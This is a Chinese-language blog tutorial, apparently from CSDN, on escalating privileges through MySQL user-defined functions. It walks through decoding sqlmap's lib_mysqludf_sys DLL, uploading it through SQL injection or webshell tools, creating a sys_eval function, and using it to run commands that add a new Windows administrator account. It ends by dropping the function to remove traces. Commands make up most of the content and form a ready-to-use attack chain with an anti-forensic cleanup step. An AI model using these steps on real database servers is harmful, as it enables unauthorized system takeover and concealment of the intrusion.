MySQL UDF提权

目录

一、UDF 介绍

二、UDF提权步骤

1. 查看存放 udf.dll 的指定目录

2. 在 kali 获取 udf.dll 文件

3. 把 udf.dll 文件上传到指定目录

4. 创建用户自定义函数 sys_eval

5. 执行自定义函数 sys_eval

6. 清除痕迹

三、拓展资料


一、UDF 介绍

UDF 是 Mysql 的一个拓展接口,UDF(Userdefined function) 可翻译为用户自定义函数,是用来拓展 Mysql 的技术手段。

二、UDF提权步骤

1. 查看存放 udf.dll 的指定目录

        使用 sql 语句查看 plugin 目录

select @@plugin_dir;

show variables like 'plugin%';

该目录默认是不存在的,需要我们在 Mysql 的安装路径下创建 lib\plugin 文件夹

2. 在 kali 获取 udf.dll 文件

        使用 kali 系统中 sqlmap 自带的 cloak.py 文件,对 lib_mysqludf_sys.dll_ 文件解码。

cd /usr/share/sqlmap/extra/cloak  # 进入cloak目录
./cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ 
# 解码 lib_mysqludf_sys.dll_ 文件

        此时在 /usr/share/sqlmap/data/udf/mysql/windows/32 目录下,会生成一个 lib_mysqludf_sys.dll 文件,把该文件存在 web 中,方便提取使用。

将文件改名为 udf.dll

3. 把 udf.dll 文件上传到指定目录

        可以通过下列方法将 udf.dll 文件上传到 lib\plugin 目录

利用 sql注入 进行上传 select load_file() into dumpfile “具体路径”。

直接利用 菜刀/蚁剑 拖拽到具体目录下。

4. 创建用户自定义函数 sys_eval

create function sys_eval returns string soname 'udf.dll';
#sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
select * from mysql.func where name = 'sys_eval';
#查看函数是否存在,验证创建

5. 执行自定义函数 sys_eval

        通过自定义函数创建用户,并将用户提升为 administrators 组的用户

select sys_eval("net user username password /add");
# 创建新用户,用户名为 username 密码为 password
select sys_eval("net localGroup administrators username /add")
# 将新用户 username 加入管理员组

6. 清除痕迹

        删除自定义函数,清除痕迹

drop function sys_eval;

三、拓展资料

sqlmap中的udf文件提供的函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

 参考文章

MySQL UDF提权_小水池-CSDN博客_udf提权

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值